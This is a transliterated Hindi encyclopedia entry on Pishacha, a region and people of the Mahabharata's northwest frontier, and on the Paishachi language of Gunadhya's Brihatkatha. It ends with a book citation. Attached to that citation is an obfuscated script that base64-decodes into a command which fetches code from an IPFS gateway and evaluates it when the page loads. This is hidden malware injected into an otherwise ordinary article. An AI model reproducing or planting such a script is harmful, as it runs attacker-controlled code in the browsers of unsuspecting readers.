पिशाच

'draupadeyabhimanyushch satyakishch maharath:,
pishachadaradashchaiv puandra: kuandivishai: sah'.

• darad desh ke nivasiyoan tatha pishachoan ka uparyukt shlok mean, jisamean bharat ke pashchimottar simaant par rahane vali jatiyoan ka ullekh hai, sath sath namollekh hone se yah anumey hai ki pishach desh, darad desh, vartaman dardistan ke nikat hoga. vastav me is desh ki anary tatha asabhy jatiyoan ke lie mahabharat ke samay mean 'pishach' shabd vyavahrit tha.
• pishach desh ke yoddha mahabharat ke yuddh mean paandavoan ki or se l de the. is desh ke nivasiyoan ki bhasha 'paishachi' nam se prasiddh hai, jisamean pratishthan, maharashtr nivasi gunadhy ki vrihath‌katha likhi gayi thi. paishachi ko 'bhoot bhasha' bhi kaha gaya hai. is bhasha ka kshetr bharat ka pashchimottar pradesh aur pashchimi kashmir tha, jisaki pushti mahabharat ke uparyukt lekh se bhi hoti hai. kaha jata hai ki gunadhy pishach desh (pashchimi kashmir) mean pratishthan se jakar base the.
• kuchh logoan ka yah bhi kahana hai ki aryoan se poorv, kashmir desh mean nag jati ka nivas tha aur paishachi inhian logoan ki jatiy bhasha thi. sambhav hai ki pishach namak log isi jati se sambandhit hoan aur unake barbar achar vyavahar ke karan 'pishach' shabd sanskrit mean daridr ki bhaanti ek vishesh arth ka dyotak ban gaya ho.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

mathur, vijayendr kumar aitihasik sthanavali, dvitiy sanskaran-1990 (hindi), bharat diskavari pustakalay: rajasthan hindi granth akadami, jayapur, prishth sankhya- 561.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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